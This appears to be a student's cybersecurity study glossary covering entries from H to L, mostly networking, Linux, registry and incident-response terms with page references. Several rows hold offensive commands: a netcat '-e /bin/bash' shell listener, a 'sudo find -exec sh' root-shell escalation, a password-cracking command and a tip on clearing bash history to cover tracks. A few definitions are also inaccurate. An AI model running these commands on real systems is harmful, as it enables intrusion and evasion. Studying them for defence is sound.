| Heap - RAM | It's an unstructured area of memory that can be used to store data. The heap is somewhat slower to access than the stack, but the benefit is you can store whatever you like on there without knowing beforehand what the size of the data will be. | | 2 | | 340 |
| Heat sinks | Metal block with fins that is attached to the processor. The cooler equipment is, the faster it can go! Overheating can damage components, and heat sinks help dissipate said heat. Connected using thermal paste. | | 1 | | 36 |
| Hello world! Container | Is maintained by docker. | | 2 | | 369 |
| Help pages (Linux) | -h' or '--help' | | 1 | | 158 |
| Heuristics based software (servers) | may block suspicious software from running as it seems to be an anomaly | | 1 | | 365 |
| Hex to Decimal |  | | 1 | | 52-53 |
| Hexadecimal | Base 16. There are 16 possible digits. Beyond 9 they use letters. 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F. Used to represent values on computers in cyber security. The prefix 0x is used to denote hexadecimal. Assuming 0 is the starting point, what is the decimal equivalent of hexadecimal number "FFFF" --> 65535 | | 1 | | 52-53 |
| hexadecimal to binary | Convert hexadecimal to denary using the same process as we did for Binary. (A is 10 in denary) | | 1 | | 52 |
| HFS+ | Hierarchical File System Plus, file system used in MacOSX, permissions, encryption, on max file size | | 1 | | 86 |
| HFS+ & APFL | Hierarchical File System Plus | | 1 | | 86 |
| HID (Hardware) | Human Interface Device - keyboard, mouse | | 1 | | 31 |
| Hidden Files | Starts with a . Ex: ‘.aFile’ | | 2 | | 295 |
| Hidden files (Windows) | Hidden files have a different appearance if you have VIEW HIDDEN FILES enabled (it's opaque appearing) | | 2 | | 295 |
| High Level Programming | Complexity of programming is removed, with the hard parts completed by the compiler or interpreter. | | 2 | | 10 |
| High-level Language | Python and C- interpreted language | | 2 | | 10 |
| Highest level of privilege on a windows machine. | SYSTEM | |  | |  |
| History file clearing (Linux nav) | At end of session, the file in memory is written to the .bash\_history file To cover your tracks, you must clear both. | | 1 | | 157 |
| Hives (Windows) | There are five hives stored on a Windows system. These are: SAM SECURITY SYSTEM SOFTWARE DEFAULT. Location of a key/subkey/value may be different when looking at the hives from a forensic perspective.  5 hives on Windows: SAM, SECURITY, SYSTEM, SOFTWARE, DEFAULT | | 3 | | 123 |
| HKCR | HKEY\_CLASSES\_ROOT | | 3 | | 123 |
| HKCR (HKEY\_CLASSES\_ROOT) | Information stored here ensures that the correct program opens up when it is executed | | 3 | | 123 |
| HKCU | HKEY\_CURRENT\_USER | | 3 | | 123 |
| HKCU (HKEY\_CURRENT\_USER) | Stores configuration about the current user for in Windows, printers, network, and other settings | | 3 | | 123 |
| HKEY | See registry keys. HKEY\_local\_machine\software\microsoft\window s\currentversion\run is an example of a registry key | |  | |  |
| HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run | Registry Key | |  | |  |
| HKLM | HKEY\_LOCAL\_MACHINE | | 3 | | 123 |
| HKLM (HKEY\_LOCAL\_MACHINE) | Hardware specific info OS runs on, and the settings for Windows and the software installed on the computer | | 3 | | 123 |
| HKLM\System\CurrentControlSet\ | Services This is where you check if malware is launching with local administrator privileges when the compromised host starts and persist with each reboot. | |  | |  |
| HKU | HKEY\_USERS | | 3 | | 123 |
| HKU (HKEY\_USERS) | Contains user-specific configuration information for all currently active users on the computer | | 3 | | 123 |
| Honeypot | Teams will leave a user account or system as a honeypot so that the attacker things it was missed. | | 3 | | 108 |
| Host identifier | 192.168.0.1 host identifier = 0.1 | | 1 | | 266 |
| Host OS | Is the OS when you first turn on your pc. | | 1 | | 105 |
| hping3 tool | Sets up packets in arbitrary way used to hide data and transmit it using hping3. Block ICMP outbound | | 3 | | 180 |
| HTA attack | Will allow you to clone a site and perform a PowerShell injection. | | 3 | | 242 |
| HTML | HTML uses tags, which are enclosed in "less than" and "greater than" signs, such as <html></html> HTML on its own is static, which means it doesn't change based on user input. - <body>, <h1><p><p></body> | | 1 | | 238 |
| HTTP network traffic data. | Firewall is likely a source of logs for HTTP network traffic data | |  | |  |
| HTTP Protocol | A series of requests and responses. The browser makes a request to the web server, which returns some kind of response. This is what is powering your web browser.  The HTTP protocol tries to put everything necessary for the request together and send it all in one go. | | 1 | | 236 |
| HTTP Protocol –  Requests - DELETE | Deletes the resource specified in the request (if authorized). Not commonly seen. | | 1 | | 236 |
| HTTP Protocol –  Requests - GET | Asks to retrieve a specified resource. When you visit a page such as 'https://some-fake domain.fake/about.html' you are asking to retrieve the 'about.html' file from the web root. | | 1 | | 236 |
| HTTP Protocol –  Requests - HEAD | Asks to retrieve a specified resource, but without the response body. It retrieves only the metadata without the data as it only returns the headers, so the contents are never sent. | | 1 | | 236 |
| HTTP Protocol –  Requests - POST | Is used to send data to the web server without expecting anything back. This is commonly used by HTML forms. | | 1 | | 236 |
| HTTP Protocol –  Requests - PUT | Asks the web server to store the data sent in the request at the path requested. Ex: A PUT request to 'https://some-fake domain.fake/about.html' would add the data sent to the web server in the PUT request as 'about.html' (if authorized). If 'about.html' already exists, it is overwritten with the new data. The PUT request method creates a new resource or replaces a representation of the target resource with the request payload. | | 1 | | 236 |
| HTTP Referrer | When your web browser takes you to that new page, it also typically tells the website you're going to which page sent (or "referred") you to it? This page tells you what your web browser sent as the "referring" page. | | 1 | | 336 |
| HTTP Requests  POST | Webforms | | 1 | | 236 |
| HTTP Response | Consists of two parts: the response header and the response body. The response header contains metadata (data about other data) such as a timestamp of the response, the web server software that sent the response and other factors. The response body contains the data that was retrieved. | | 1 | | 236 |
| HTTP Response and Errors codes | * 100 – Continue * 200 – OK - The request has been completed with no errors * 202 - Accepted - Received but have not yet done anything about it. * 301 - Moved Permanently - Usually, the new URL is given in the response. * 400 - Bad Request - Invalid Syntax error * 401 - Unauthorized - You are not allowed into this site without logging in. * 403 - Forbidden - This usually means you don't have enough privilege. * 404 - Not Found - Uh oh. Nobody knows that URL. * 408 - Request Timeout - The server is shutting you down for idleness. * 500 - Internal Server Error - The server has no idea what to do, so it took a nap instead. This happens due to bad code or failure to handle data or an exception. These are often worth investigating! * 502- Bad Gateway - Issue with the server’s connection. * 503 - Service Unavailable - Overloaded server. * 504 - Gateway Timeout - Sorry, your servers are too slow. Probably a connection problem somewhere in the network. | | 1 | | 336 |
| HTTP Response body | The response body contains the data that was retrieved | | 1 | | 237 |
| HTTP/1.0 | Old and inefficient (text-based protocol) | | 1 | | 237 |
| HTTP/2.0 | Goal is to reduce latency (header compression, pipelining of requests, | | 1 | | 237 |
| HTTPS | SSL cert acts as public key for website, browser will use asymmetric encryption get a symmetric key with the web server. | | 3 | | 21 |
| HTTPS | Uses both symmetric and asymmetric encryption. We use asymmetric encryption to exchange a symmetric key with the web server then we swap to using symmetric encryption for efficiency since symmetric encryption is faster than asymmetric encryption. | | 3 | | 21 |
| HTTPS - encryption | Asymmetric and symmetric | | 3 | | 21 |
| HTTPS - Exfiltration | By far the most common method of exfiltration is using HTTPS. HTTPS traffic has multiple benefits: It's encrypted, so you can't see what the content of the traffic is. It's a very common protocol, generally any client workstation on the network will frequently be using it. It's almost always allowed out from networks through the firewall because everyone needs to search the internet. It's reliable and often used to transfer large files to and from the internet, so even large transfers are not terribly suspicious. There are a few ways to detect exfiltration over HTTPS.  1. You'll want to consider where the HTTPS traffic is going.  2. Set up a network device to use as a web proxy and make sure all clients connect to the internet through the proxy.  3. Set up a network device to use as a web proxy and enable SSL interception on it. | | 3 | | 335 |
| HTTPS – Encryption trust problems | The website’s SSL certificate solves the trust problem in the asymmetric key exchange. | | 3 | | 21 |
| HTTPS: payload | Communication between our PC and malware will be made by victims PC when exploited | | 3 | | 288 |
| HTTPS: ssl intercept | Requires each client to be configured to trust a custom SSL certificate. | | 3 | | 335 |
| HTTPS: web proxy | Set up a network device to use as a web proxy and make sure all clients connect to the internet through the proxy. | | 3 | | 335 |
| Hubs | It connects computers on a network together. It receives data, but it doesn't know which computer to send it to, so it sends it to every computer connected to the hub. Wireless hubs can only broadcast data over radio waves, so there is no way to direct data to only one device. That means all wireless access points are actually hubs. | | 1 | | 250 |
| Hypervisor | Software or firmware platform that host a virtual machine. | | 1 | | 108 |
| Hypervisor (Type 1) | Virtualization occurs at the firmware level. This is still software, but there is no host operating system. The virtualization software in effect is the host operating system. Used in data centers (the cloud). More efficient but not on personal computers. | | 1 | | 107 |
| Hypervisor (Type 2) | This type of virtualization is where the virtualization is done by a software program that runs on an operating system. VMware Workstation and VirtualBox. | | 1 | | 107 |
| **I** |  | |  | |  |
| IaaS  Infrastructure as a Service | 1. Cloud-based services. Pay-as-you-go model - storage, networking, computing, containers. 2. Provider hosting the physical hardware for you. 3. Flexible, scalable, and adaptable to your needs - build your OS, configuration, and software. 4. Manage your own data and applications. | | 1 | | 89 |
| icacls command | Allows us to display or change an Access Control List (ACL) for files and folders on the file system. "C:\Program Files\Vuln Service\Application Files" lists folder permissions | | 3 | | 339 |
| ICMP  Exfiltration (hping3) | To send custom TCP/IP packets | | 3 | | 340 |
| ICMP  Exfiltration | It is used for transmitting error messages as it has a 'data' field, but it is almost always empty. You can put data into the data field and still have the packet work, so you could hide small amounts of data in a ping packet, for example, and send it out of the network. It is only useful on a local network; therefore, we recommend you just block all ICMP packets at the firewall so none can leave or enter the network. | | 3 | | 340 |
| ICMP  Internet Control Message Protocol | Designed to transmit error messages and operational information between hosts on a network, does not communicate data and isn't typically used in end-user applications, used almost exclusively by network devices such as routers, and consists of type and code, the exception is PING, which has an ECHO REQUEST sent to the server and an ECHO REPLY sent back to host | | 1 | | 299 |
| ICMP Echo Requests | ICMP echo requests with varying data field sizes indicate data exfiltration. These should be empty and zero. If they are greater than zero, there may be data being exfiltrated. | | 3 | | 340 |
| ifconfig  Interface configuration | Is used to configure the kernel-resident network interfaces. It is used at the boot time to set up the interfaces as necessary. After that, it is usually used when needed during debugging or when you need system tuning. Also, this command is used to assign the IP address and netmask to an interface or to enable or disable a given interface. Syntax: ifconfig ...OPTIONS | | 3 | | 315 |
| IMAP  Internet Message Access Protocol | This protocol is used to access email on an email server. Messages remain on server until user deletes them. Can also track state on each email. Sync message state across devices. Supports server sides search. You need SMTP to send it. | | 1 | | 370 |
| Incident Response | Incident responders appear on the front line and are often the first line of defense in most organizations. They respond to and identify threats quickly in order to ultimately minimize the effect of the attack, contain the damage, and identify and remediate the root cause of the incident. | | 3 | | 107 |
| Incident response –   1. Eradication | This stage is about applying patches, closing back doors, disabling accounts, and ultimately kicking the attacker out of your systems. | | 3 | | 108 |
| Incident response –   1. Recovery | 1. Returning the systems to full production specifications. 2. Mass password reset for every account on the network, including all automated or system accounts. 3. Pushing out patches not directly related to incident and reviewing access systems, (firewalls), for weaknesses. | | 3 | | 108 |
| Incident response –   1. Conclusion | Forensic analysis of these events must take place after the compromise has happened (chain of custody) | | 3 | | 108 |
| Incident Response –   1. Preparation | Prepare the business, as well as the incident responders/handlers that are on hand to tackle incidents | | 3 | | 107 |
| Incident Response –   1. Identification | Identifying the scope of the incident to prevent re-infection. Here is where we require the most intense level of forensic work like taking captures and analyzing systems without tipping off the attacker. | | 3 | | 107 |
| Incident Response –   1. Containment | 1. Attack has now been identified, time to stop attacker from progressing any deeper into the target systems. 2. change permissions on critical systems, or logically separating the infected systems from the rest of network | | 3 | | 107 |
| Incident Response –   1. Lessons learned | 1. Review attack from start to finish, figure what went wrong and how to stop it from happening again. 2. Adequacy of policies should be examined, from passwords to patching; all will need to be scrutinized. 3. Detailed report, whether that be paper based or a presentation, to show how the teams dealt with the incident | | 3 | | 108 |
| Incident Response and Management | Protect the organization’s information as well as its reputation by developing and implementing an incident response infrastructure. | | 3 | | 46 |
| increment in c ++ | Use ++ (add operator) | | 2 | | 165 |
| index.html | You can set up an index.html page that contains nothing, so that when you access the web server, it's just blank. | | 1 | | 234 |
| Indicators of compromise  IoC | Artifacts left behind on target systems. | | 3 | | 301 |
| Indicators of Compromise (IoCs) | Detecting persistence methods is the best way to detect compromised system, because an attacker must, leave artifacts behind on the target system. These artifacts are known as indicators of compromise or IoCs: ports. | | 3 | | 301 |
| info functions GBD | It returns a list of functions that are in the program and the memory addresses they start at.  Pwndbg> info functions | | 2 | | 345 |
| Input Devices | When connected to computers, can send data to them. These are used to control the computer. Use a variety of connector types with varying speeds. | | 1 | | 31 |
| Installed Components - Start-up: Windows | Are executables that are run at boot time, and therefore a good place for malware to hide and persist, for example: HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ | | 3 | | 309 |
| Instructions vs Data | To the CPU it all looks like binary data. However, when the CPU is pointed to a memory location via the instruction pointer, it treats whatever is at that location as an instruction, whether it makes sense as an instruction or not. Instructions and data are not clearly delineated in RAM. | | 2 | | 341 |
| Integer overflow – definition | Program assumes that a value is always positive, overflow makes signed integer wrap and become negative. Where you go so far negative that you suddenly get a positive number instead. | | 3 | | 186 |
| Integer Overflow/Underflow Mitigation | Check that the result of any addition, subtraction (multiplication, etc...) or storage of a value into a signed integer falls within the allowed range and prevent it if it would cause an overflow. | | 3 | | 187 |
| Integer types | Signed: 16 bit, is capable of representing number from -32767 to +32767  Unsigned: capable of representing numbers from 0 to 65535  Signed short: capable of representing numbers from -32767 to +32727  Unsigned short: capable of representing numbers from 0 to 65535  Signed long: capable of representing numbers from -2147483647 to +2147483647.  Unsigned long: Capable of presenting numbers from 0 to 4294967295 | | 2 | | 161 |
| Interpreted - Programming Language | Programs written in interpreted languages are often just text files with the code in them. To execute, you need to feed the text file into the programming language interpreter. | | 2 | | 9 |
| Interrupt | Is a signal that is sent to the CPU, alerting of a task requiring its immediate attention. It will stop the CPU cause it to begin executing the corresponding interrupt handler. Ex. Someone opens Microsoft words and clicks on open file | | 1 | | 98 |
| IoC - Ports (Windows) | c:> netstat -a -b -o to look for listening ports | | 3 | | 302 |
| IoC – Ports (Linux) | IoC Indicators of compromise - artifacts left behind on target systems 3 301 # netstat - pultn: or # nc nvlp 1338 -e /bin/bash to look for listening ports | | 3 | | 301 |
| IoT  Internet of things | Device with a sensor connecting to a network. | | 1 | | 325 |
| IoT  Internet of things | Embedded. | | 2 | | 264 |
| IP Addresses | It identifies your computer on the network and allows other computers on the network to find your computer. Each NIC (Network Interface Card) is assigned an IP address when it connects to a network. It is made out of 2 parts  Ex: IP: 198.162.30.2   1. 198.162.30 = Network identifier 2. 2 = Host identifier | | 1 | | 253 |
| IP Addresses  Private | Assigned to your computer on the local network (LAN) and must be unique on the local network. | | 1 | | 253 |
| IP Addresses  Public | In most set-ups the entire LAN will have only a single public IP address, shared by all computers on the LAN. A NAT device (router) shares one public IP address with multiple computers on a local network. | | 1 | | 253 |
| ipconfig  Windows Command Prompt | This utility allows you to retrieve your network configuration and allows some control overactive TCP/IP connections. You will be able to see the connection specific DNS suffix, IPV6, IPv4, subnet mask, default gateway | | 2 | | 314 |
| ipconfig (Windows CLI) | Displays network configuration and some control overactive TCP/IP connections. | | 3 | | 313 |
| IPv4 - Internet Protocol Version 4 | Internet Protocol version 4. Version of IP addresses. These are written in the format: xxx.xxx.xxx.xxx, for example: 192.168.0.1. IPv4 addresses are 4 bytes long, between each period (.) is one byte. We used all these addresses. 127.0.0.1 is the loopback address for IPv4. | | 1 | | 262 |
| IPV6 | The new internet protocol standard, which was designed to solve the IP address shortage, was released as IPv6.  An IPv6 address, without any shortening rules, looks like this:  2001:0db8:0000:0000:0000:ff00:0042:8329  After applying shortening rules, it looks like this: 2001:db8::ff00:42:8329. | | 1 | | 264 |
| IRC  Internet Relay Chat | IRC sees a lot of use in malware as a command-and-control channel, but its major weakness is that it is such an unusual vector. You don't often see IRC used in corporate networks. It's also a plaintext protocol that features no encryption, although the malware could easily implement its own custom encryption. | | 3 | | 337 |
| Iterative Lookup | With an iterative lookup, you ask a DNS server a question. If it doesn't know the answer, it will respond with the IP address of a DNS server that does know. It is then your responsibility to ask the next DNS server in line the question, and then it will either answer, or send you to yet another DNS server to ask the question. | | 1 | | 295 |
| **J** |  | |  | |  |
| jail page (servers) | Warns you about the site instead of taking you to the IP address of the attacker. | | 1 | | 353 |
| java applet attack | It is popular because we can create the infected Java applet very easily, we can clone any site we want that will load the applet very fast and successful because it affects all the platforms. | | 3 | | 242 |
| JavaScript | Is a programming language that is designed to run inside a browser. It can be used to make changes to HTML even after it has been loaded onto the page.  JavaScript is a client-side programming language, so it runs in the browser of the user. Any user can view JavaScript source code by going to 'view source' in the browser. | | 1 | | 239 |
| job postings - RECON (blue team) | Check no one is listing job postings that lists your technology, use a RECRUITING AGENCY | | 3 | | 74 |
| job postings - RECON (red team) | By listing the technology your company uses in a job ad will provide great information to hackers | | 3 | | 73 |
| john the ripper | Crack a password using wordlist. john **<txt with the hash> --wordlist <wordlist>** | | 3 | | 76 |
| **K** |  | |  | |  |
| Kafka(Apache) |  | | 1 | | 364 |
| Kali | Offensive Security is an American international company working in information security, penetration testing, and digital forensics. | | 3 | | 55 |
| Kali - Search | To find things with locate filename. Don't forget about 'which' to find where a program is installed. | | 3 | | 59 |
| Kali Linux | It's intended for security professionals to use and comes with a variety of useful tools pre-installed. | | 3 | | 55 |
| Kali Linux - Finding things | Use 'updateb' to update list of files on system & use 'locate filename' to find things | | 3 | | 59 |
| Kali Linux - SSH | SSH in Kali is disabled by default - use - service ssh start | | 3 | | 58 |
| Kali Linux Wordlists | You can find them in /usr/share/wordlists. | | 3 | | 56 |
| Kernel  Exploit - Windows | At the unprivileged shell, Now we should find out if this system is missing any patches. It's Windows XP so the answer will always be 'yes', The 'kitrap0d' exploit is for Windows XP, which matches our target, configure exploit & run | | 3 | | 280 |
| Kernel - Definition | The core of the operating system. The first part of the OS is to be loaded. Has complete control over the computer. Controls access to sensitive information and functionality. The job of loading new programs, handling input and output, and access to RAM and drive storage resources. | | 1 | | 96 |
| Kernel - Exploit - Linux | If you exploit the kernel, you can make the computer do anything you want. The first step is to find out the Kernel version currently running. You can do this using the 'uname' command: <$ uname -a> Ex: DirtyCOW | | 3 | | 257 |
| Kernel Exploit | As with Linux, you can also use kernel exploits to gain SYSTEM level privileges, the premise being the system is not up to date with patches. | | 3 | | 280 |
| Kernel Exploits  Missing Patches module | post/windows/gather/enum\_patches | | 3 | | 280 |
| Kernel mode | A 'kernel mode' rootkit can hide its presence by intercepting kernel calls. A rootkit works by intercepting the call and filtering out the processes that it is trying to hide. | | 3 | | 257 |
| Kernel version | Determine a kernel version of a local OS by using the Linux command **uname -a.** | | 3 | | 257 |
| Key Exchange | Biggest problem of symmetric and asymmetric encryption | | 3 | | 17 |
| key-value pairs  (Python) | Associate information together in helpful pairs You can also use an integer as the key and a string as the value: | | 2 | | 39 |
| Keypair | public (encrypt), private (decrypt) | | 3 | | 17 |
| kill command (Linux arch) | use $kill -9 <<PID>> to force kill an unresponsive process | | 1 | | 193 |
| kitrap0d (kernel exploit) | Example of a kernel exploit in Windows, although as you saw you must be targeting an unpatched system. Tool exploits Windows XP, 2k, Win7k. | | 3 | | 326 |
| **L** |  | |  | |  |
| LaaS  Logging as a Service | Provides pre-built ingestion capabilities, analysis, and reports so you have to do less plumbing and can focus on analyzing of the logs instead. | | 1 | | 360 |
| LAMP stack | Common setup for web server - Linux, Apache, MySQL, and PHP | | 1 | | 330 |
| LAN | Local Area Network. | | 1 | | 247 |
| Lateral Movement  DMZ | Lateral movement is when attackers move around the network to find other targets, data, or users. They expand their access by pivoting.  In a well-protected network that is set up according to a defense-in-depth approach, this is also a phase at which the attacker is at risk of discovery. Particularly if the attacker has managed to get a foothold in the DMZ (demilitarized zone - the high-risk area of the network that is sectioned off from the main network), because there will usually be defenses in place between the DMZ and the rest of the network, which must be bypassed. | | 3 | | 321 |
| LHOST | Local host. In other words, the IP address we want the exploited server to connect to. | | 3 | | 231 |
| lib (folder) | Contains shared libraries and kernel modules, resources the system uses to function | | 1 | | 135 |
| LinkedIn  RECON (red team) | Shows certifications, and a great place to social engineer and trick people | | 3 | | 74 |
| Linux |  | | 1 | | 114 |
| Linux  Change directory | **cd ~/:** Changes to home user  **cd..** (dot dot) which is change to directory one level above the current directory. | | 1 | | 133 |
| Linux  ls -F | lists folders/ and files | | 1 | | 129 |
| Linux  ls -l | Linux commands that will display the files in the current directory | | b | |  |
| Linux  ls -l /home/ | see also home. This command will reveal user directories for every user other than root. | | b | |  |
| Linux  mkdir | Is used to create a directory (folder). You can also make multiple directories at once using the '-p' parameter (mkdir -p folder/directory). | | 1 | | 166 |
| Linux  Recursive -r | the -r parameter means "recursive" = look inside any folders and copy those files too | | 1 | | 168 |
| Linux -  Desktop distributions | Linux desktop distributions come with a GUI, unusable in the past, however, it is becoming more accessible to people lately. | | 1 | | 115 |
| Linux -  apt install | Install package on Linux. **$ sudo apt install cowsay** | | 3 | | 64 |
| Linux -  apt remove | **$ sudo apt remove cowsay** | | 1 | | 207 |
| Linux -  apt update | **updates only available packages** | | 1 | | 204 |
| Linux -  apt upgrade | **$ sudo apt upgrade** | | 1 | | 204 |
| Linux -  long form | Use -l to display long form | | 1 | | 131 |
| Linux -  lsof command | list all the files open by the process: <lsof -p 7813> | | 3 | | 302 |
| Linux - chmod 777 /var/www/html | This indeed fixes permissions errors because now everyone can do everything. We should see restrictive permissions set for the specific user, which should be low privilege overall. | | 1 | | 141 |
| Linux - runlevel | Command that shows the mode that the operating system is currently running under. | | 3 | | 305 |
| Linux –  cat | 'concatenate' = joining the contents of a files together prints the result. Connect two files and save them as one using > examples: **cat printme1.txt printme2.txt > newlog.txt** | | 1 | | 169 |
| Linux –  cd~ | Shorthand for the user’s current home folder - what they are in at that moment. to change the path to the home folder from. user@SANS:~/Desktop/Projects/GSE/answers$ THIS WAS SHOWN AFTER THE ~ before desktop | | 1 | | 133 |
| Linux –  Chaining Commands | We can chain commands together to run one after the other on one line using ";"You can chain two commands together with a semi colon. Ex: **rm remove-me.txt; ls**  **cat /etc/passwd | grep root; sleep 2; ps aux | grep root** search /etc/passwd for root, sleep for 2 secs, list processes. | | 1 | | 186 |
| Linux –  chgrp | It is used to change the group ownership of a file or directory to a specific group. | | 1 | | 138 |
| Linux –  chkconfig | chkconfig provides a simple command-line tool for maintaining the **/etc/rc** | | 1 | | 141 |
| Linux –  Chmod | Set the file permissions themselves using the 'chmod' command. **chmod +r filename** | | 1 | | 139 |
| Linux –  Chmod 755 | **user can read, write, and execute, group can read and execute, and everyone else can read and execute.** | | 1 | | 140 |
| Linux –  Chown | Change the owner of a file to a different user account. | | 1 | | 139 |
| Linux –  Clear | clears the terminal screen | | 1 | | 162 |
| Linux –  cp --help | displays options for the copy command | | 1 | | 166 |
| Linux –  cp -r | Copy folders from one place to another you must use the -r or -R parameter. | | 1 | | 166 |
| Linux –  Cron tab editing | use **$ crontab -e** to edit the cron tab | | 1 | | 201 |
| Linux –  Crontab | A place where all scheduled tasks are stored. Each entry in the crontab must use the Ex: Minute Hour DayOfMonth Month DayOfWeek Command | | 1 | | 200 |
| Linux –  file command | The 'file' command can tell us the filetype of a file. | | 1 | | 183 |
| Linux –  grep | Used for searching for text within file. | | 1 | | 174 |
| Linux –  grep -a -b -c | no. of line after, before and both | | 1 | | 174 |
| Linux –  grep -c | count of the word | | 1 | | 174 |
| Linux –  grep -n - | line number | | 1 | | 174 |
| Linux –  grep -R | recursive | | 1 | | 174 |
| Linux –  grep -v | search for all line that does not match the word | | 1 | | 174 |
| Linux –  grep -w - | whole words | | 1 | | 174 |
| Linux –  grep "x\|y" | searches x or y | | 1 | | 174 |
| Linux –  Root access | This program is trying to gain shell with root access  **Ex: sudo find /etc -exec sh -i /;** | | 3 | | 267 |
| Linux –  Root permissions | This program will run with root permissions  **Ex: -rwsr-xr-x 1 root root 44k May 7th 2014 /bin/ping** | | 3 | | 253 |
| Linux –  Sudo | This Linux command will allow a user to run a command with escalate privileges using their own password. | | 3 | | 267 |
| Linux –  grep -i | Makes grep case INSENSITIVE. | | 1 | | 175 |
| Linux –  Hidden files | ls -a | | 1 | | 142 |
| Linux –  len() | Count of the things in our list by using the len() function. EX: print(len(fav\_linux\_distros)) | | 2 | | 33 |
| Linux –  Less | Used for reading long files, use arrows to move down or up, use Q to quit | | 1 | | 171 |
| Linux –  Interrupts | Quit a program: CTRL + C/Q  Pause a program: CTRL + Z  Resume by typing fg (foreground) or 2 (background) | | 1 | | 160 |
| Linux –  History command | Type history in the terminal and history will display history of commands, numbers the commands. | | 1 | | 157 |
| Linux –  Down arrow key | To come back to your more recently typed commands if you went past what you needed. | | 1 | | 154 |
| Linux –  dpkg | .deb' files, installed using dpkg: **$ sudo dpkg -i /home/user/cowsay.deb** does NOT handle dependencies | | 1 | | 208 |
| Linux –  dpkg removing package | **$ sudo dpkg -r cowsay** | | 1 | | 209 |
| Linux –  apropos | Used to search man pages for keywords, usually to find the 'appropriate' tool to use in a particular situation. | | 1 | | 177 |
| Linux –  Cp | copy a file from one location to another (keeping the original intact) | | 1 | | 166 |
| Linux –  Echo | used to display line of text/string that are passed as an argument. | | 3 | | 270 |
| Linux –  Find | finds files in Linux | | 3 | | 59 |
| Linux –  Su | Allows you to become the admin- different from sudo | |  | |  |
| Linux –  man | Displays the user manual of any command we can run on the terminal.. | | 1 | | 134 |
| Linux –  mv | Move command. Moves files and folder from one location to another - it removes the original. Additional parameters -n (no-cobber) or -u (update) which overwrites a file if a timestamp on files you are moving is newer. | | 1 | | 167 |
| Linux –  Nano | Command-line based text editor run on a file that exists or: $ nano afile | | 1 | | 178 |
| Linux –  Nano | Is a command-line-based text editor. To edit a file, you just run 'nano' on the filename that exists. To create a new file, you just run nano on a filename that doesn't exist. To get read-only mode using -v (read only) | | 1 | | 177 |
| Linux –  No-clobber | Prevents the move from overwriting a file that already exists at that location | | 1 | |  |
| Linux –  Parameters | These are like 'ls -a', where the single letter follows a dash (-). If you have multiple parameters, you can chain them together with a single dash, or use one dash for each parameter. The next form parameters can take is full word parameters. These usually require a double dash (-- ). | | 1 | | 157 |
| Linux –  Passwd File | The 'passwd' file is a key file on any Linux system; it holds information about what user accounts exist on the system. The passwd file is located at '/etc/passwd' an 'x' means the password hash is in the shadow file instead. The shadow file is in '/etc/shadow' | | 1 | | 198 |
| Linux –  PID | Process ID - usually numbered on Linux command line | | 3 | | 141 |
| Linux –  pipe '| ' | Used to send the output of one command and feed it in as the input to another command. | | 1 | | 195 |
| Linux –  pipe '| ' | $ ps auxf | less - ps command combined with less command to scroll through ps output at leisure. $ ps aux | grep bash - searches for a particular process | | 1 | | 196 |
| Linux – running “Python command” | An interactive console will open for writing simple Python code when you enter python in Linux when it is installed. | |  | |  |
| Linux Bash shell | See also shell. Bash is a command processor that typically runs in a text window where the user types a command that causes actions. Bash can also read and execute commands from a shell script file. Default path for bash is /bin/bash/ is the root of the systems | | 1 | | 124 |
| Linux chown | Allows you to change the ownership of a file or directory. | | 1 | | 138 |
| Linux cp -r | [user@SANS:~/cp$ cp -r myfolder mycopiedfolder](about:blank).  The first parameter is the path to the file you wish to copy. The second parameter is the path where you want to save the copied file to You can also copy folders from one place to another using -r or R (recursive - ok inside any folders and copy those files too). | | 1 | | 166 |
| Linux Cron tab | the place that all the scheduled tasks are stored to view: **$ crontab -l** | | 1 | | 201 |
| Linux Distributions | We call all the operating systems that use the Linux kernel, 'distributions'. Desktop: GUI, Server: CLI only | | 1 | | 114 |
| Linux file permissions | r, w, x 755 (full permissions) | | 1 | | 137 |
| Linux file permissions! | Cnf is accessible from the root user only or your administrator user via sudo. Make sure that the MySQL data directory (typically /usr/local/MySql/data) is accessible for the MySql user but no other users on the system. | | 1 | | 348 |
| Linux find command | Used to find files on a system: find . -name onefile | | 1 | | 172 |
| Linux folder structure | Bin, Boot, cdrom, dev, etc, home, lib, lost+found, media | | 1 | | 135 |
| Linux Folders –  Bin | The bin folder is typically used to store executable files (binary files). | | 1 | | 134 |
| Linux Folders –  Boot | The boot folder holds the files that Linux uses during the boot up process. | | 1 | | 134 |
| Linux Folders –  Home | Contains the user directories for every user other than the root | | 1 | | 134 |
| Linux Folders –  Cdrom | The cdrom tray will usually be mapped to this folder, | | 1 | | 134 |
| Linux Folders –  Dev | The dev folder will contain a folder and associated files for every hardware component on the system | | 1 | | 134 |
| Linux Folders –  Etc | The etc folder will usually contain configuration files for installed program | | 1 | | 134 |
| Linux Folders –  Lib | The lib folder contains shared libraries and kernel modules | | 1 | | 134 |
| Linux Folders –  Lost + found | If your hard drive has errors and files get lost, the 'orphaned' files may get placed here. | | 1 | | 134 |
| Linux Folders –  Media | The folders here can be used for mounting USB keys and floppy disks | | 1 | | 134 |
| Linux Folders –  Mnt | The folders here can also be used for mounting external drives, USB keys and floppy disks. It's up to you if you want to mount stuff here or in media. | | 1 | | 135 |
| Linux Folders –  Opt | The opt folder is usually empty to start with; any user-installed programs can go here (if you want). It stands for 'optional'. | | 1 | | 135 |
| Linux Folders –  Proc | The proc folder stands for 'process'. Every running program will have an entry in the proc folder along with associated files. | | 1 | | 135 |
| Linux Folders –  Root | The root folder is the home folder for the root user. Remember, it isn't in /home | | 1 | | 135 |
| Linux Folders –  Run | The run folder is a temporary file system which stores runtime information for programs that start early during the boot up process. | | 1 | | 135 |
| Linux Folders –  Sbin | The sbin folder is used to store binary executables (similar to /bin), but the programs stored here are typically used for administrative purposes. | | 1 | | 135 |
| Linux Folders –  Srv | The srv folder usually holds data used by services running on the system (such as a web server, or an FTP server). | | 1 | | 135 |
| Linux Folders –  Tmp | The tmp folder is a temporary file system. The files in there are temporary and will be deleted periodically, and after reboot. Programs will usually use it frequently. | | 1 | | 135 |
| Linux Folders –  Sys | The sys folder contains information about devices on the system ( | | 1 | | 135 |
| Linux Folders –  Usr | The usr folder is the folder for user-controlled files. It has its own folder structure, which maps to the root folder structure. | | 1 | | 135 |
| Linux Folders –  var | The var folder contains system files which tend to increase in size over time (hence it's a varible size folder). | | 1 | | 135 |
| Linux interrupts  CTRL + C | Initiates an interrupt to a program. | | 1 | | 161 |
